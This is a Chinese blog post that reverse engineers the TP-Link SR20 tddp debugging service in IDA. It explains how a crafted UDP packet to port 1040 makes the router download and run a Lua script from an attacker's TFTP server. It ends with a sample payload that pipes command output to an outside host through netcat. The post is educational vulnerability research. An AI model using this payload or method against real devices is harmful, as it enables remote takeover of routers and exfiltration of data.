对TP-Link SR20 tddp协议漏洞的详细逆向研究

23 篇文章 3 订阅
22 篇文章 1 订阅

最近段时间一直忙于找工作,从而导致博客许久没有好好的写一篇(好不容易要写了结果csdn的linux下网页登陆又出bug,只能把截图放到windows下,好不容易图都截完了转存截切,结果打开时所有图片格式又损坏了,又重新去linux截,真可谓是…一波三折),导致这段时间学到的很多知识没能记下来,罪过罪过…

正题
从一开始研究IOT安全开始就了解到过一个关于TP-Link SR20的固件漏洞,也复现利用过这个漏洞,但对这个漏洞的产生的具体细节了解甚微,今天就用IDA来逆向分析一下这个漏洞,关于TP-Link SR20固件漏洞的大致情况可以自行百度,毕竟还是一个比较典型的固件漏洞,原理也很简单,一查就能查到,这里不多赘述。

过程
首先最基本的一点肯定是要知道什么是tddp协议,这是一个TP-Link申请过专利的调试协议基于udp协议,目前就我所知分为两个版本v1和v2。我们先去官网下载有漏洞的固件,具体的下载环境搭建内容可参考此处

然后使用binwalk将固件内容里的文件系统提取出来(基本操作),进入squashfs-root,然后再在/usr/bin目录下找到tddp程序,拖入虚拟机,进入正题
首先可以看到
在这里插入图片描述大致浏览一下所有的库函数,确定一个切入点,这里肯定会人说我应该先去找主函数,这样也没错,但这方法让我觉得很低效,我通常都是先浏览API或者库函数,根据程序调用的库函数来判断程序会完成哪些功能,然后确定一个切入点通过自下而上的方式,回溯的进行逻辑梳理,最后一直查找到主函数位置。在这里我就以recvfrom函数为切入点,查看其邻近浏览器。
在这里插入图片描述

然后可以看到sub_16418函数调用了recvfrom函数,然后f5对sub_16418函数反编译
在这里插入图片描述

recvfrom函数的第二个参数是(char*)v14+45083也就是说,我们传过去的数据存在v14的45083偏移处,然后下面有两条语句if(v2==1).....else if(v2==2),根据我的判断这一句是用来判断协议版本的。
下面继续往上回溯,我们应该一直查找回溯到socket初始化的位置,然后继续查看sub_16418函数的邻近模块,双击一下即可。
在这里插入图片描述

然后可以看到sub_936c函数调用了他,我们反编译sub_936c
在这里插入图片描述

首先看到他有setsocketopt函数,然后又看到有输出tddp task…这一句,只要使用qemu模拟运行过固件的都知道,tddp程序启动后首先输出的就是这一句,所以我推断这块应该就是一个主函数了,在这里要说明一下sub_6E5C函数初始化socket,sub_16D68函数对套接字进行绑定,绑定到1040端口。

在这里插入图片描述

再往下看,还可以看到一个select函数,基本上可以判断此程序在处理套接字的时候可能使用了IO多路复用,以此来提高性能,它可以使socket套接字处于非阻塞的工作状态同时处理多个IO,与其相同但是性能更高的还有一个epoll…跑题了。

现在我们基本上梳理出了一条执行逻辑,主函数初始化套接字,并使套接字以非阻塞的模式运行提高性能与并发性,然后再recvfrom获取发送过来的数据。

获取到这些信息后,我们再回到起点开始梳理程序在收到我们传过来的数据后会如何处理。可以看到sub_16418函数除了·recvfrom外还调用了很多其他函数,我们现在只需要对recvfrom之后调用的函数关心即可,因为recvfrom函数后程序才能获得用户输入。

在这里插入图片描述

因为这之后并且还将存放接收到数据的变量v14当作参数的函数还是有很多,所以我在分析的时候也花了点时间,在这就直接将没有用的函数全部跳过,直接进入sub_15E74函数。

a1就是上一个函数中的v14,之前说过我们传过去的数据存在v14+45083偏移处,这里的switch将45084也就是我们传过去数据的第二个字节当作参考值来匹配,每个case下面都会对应调用一个函数,在我们不知道漏洞的情况下我们当然需要一个一个函数进去筛查,但现在我们知道这个漏洞出现在case 0x31处,也就是说如果我们构造的tddp协议包的第二个字节值等于0x31,那就有会触发之后我们要说的漏洞,现在我们直接进入case 0x31后的函数,即sub_A580,他的参数是v8其实就是a1。
在这里插入图片描述

在这里我们先看看sscanf,这个函数将v20即我们传送过去的数据用分号隔开,分别存入s与v11中,然后还要关注inet_ntoa函数这个函数首先将v9即我们传进去的参数a1也就是我们传过去的数据,v9+4处转换成一个in_addr结构体变量,然后再解析成一个点分(xxx.xxx.xxx.xxx)格式的字符串,看到这里想都不用想都知道这转换过去的是个ip地址。然后调用sub_91DC函数分别将刚刚用sscanf函数分隔开字符串的分号前半部分内容与刚刚解析出来的不知道做什么的ip地址传进去并且前面还有一长串字符串常量cd /tmp….根据字符串后的两个%s基本上可以判断这个函数还会将刚刚解析出的s与v17拼接进这个字符串常量,二这个字符串开头的cd极有可能会是一个shell指令而且刚刚还只过滤了分号,到这里作为一个老“黑客”(狗头滑稽.jpg)就应该突然警觉——指令注入!,现在我们转入sub_91DC函数。
在这里插入图片描述

可以看到这个参数的形式const char *a1,…刚刚调用时传入的s与v17不见了,对于C语言新手而言的确很头大,但对于一个老"C语言专家“(滑稽.jpg),完全就像hello world一样简单,他只不过是利用第一个参数也就是最后一个入栈的参数的指针来获取其余的参数,这种传参办法再printf、scanf、等函数中经常见到,这种传参方法可以使函数的参数个数变为可变不固定的。
在这里插入图片描述

在这里要注意va_start与vsprintf函数,va_start函数将利用函数参数栈中的最后一个参数即第一个参数(函数参数入栈顺序一般情况下是从右往左)由低到高把其他参数的内容一个一个取粗乃放入一个va_list类型变量varg_r1中,vsprintf函数将varg_r1与在上一个函数中传入的字符串常量“cd /tmp;tftp -gr...."拼接就像我一开始推断的那样。这里cd指令都知道是做什么的,而tftp则是一个传输文件的简单协议 -gr参数后跟要获取/下载的文件名与服务器IP地址:tftp -gr 文件名 资源服务器ip,没错!这里就是漏洞产生的地方,如果我们在我们的攻击机上配置一个atftp服务,并且向TP-Link SR20的1040端口传输一个第二个字节数据为0x31的tddp数据包,那这个路由器就会从我们地攻击机上下载文件。
然后下面我们可以看到一个execve函数,但让我想不通的是他的第二个参数就只是一个“sh"而已,这让我一度怀疑是不是我找错方向了,但我百度后发现漏洞产生的地方的确在这里,但不知道为什么,如果有知道的童鞋麻烦在评论区讨论讨论。
到这里还没有完,我们还需要知道我们的文件被下载后还会被怎么操作,单纯的只下一个文件什么都不做这说不通,所有我们再回到sub_A580函数调用处,现在我们该走到调用sub_91DC函数的下一句。

在这里插入图片描述

可以看到它会将我们传入的文件名与/tmp拼接,最后会变成/tmp/文件名的形式存入name,然后调用access函数,此函数第二个参数为0,即判断该文件是否存在,在这也就是验证刚刚有没有下载成功,如果下载成功直接跳出v18等于4直接去执行后面的luaL_loadfile(…)调用lua脚本,入股下载失败则重复验证四次,如果四次后还不存在那v18=0,提示lua file 文件名 don't exsit即lua文件不存在,这可以告诉我们我们刚刚下载的应该是一个lua脚本。最后我们只需要在配置好的atftp访问目录下写好我们要用的lua脚本即可,要注意的是函数名与参数固定不可变!例如:

function config_test(config)
  os.execute("id | nc 192.128.0.1 6666")
end
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值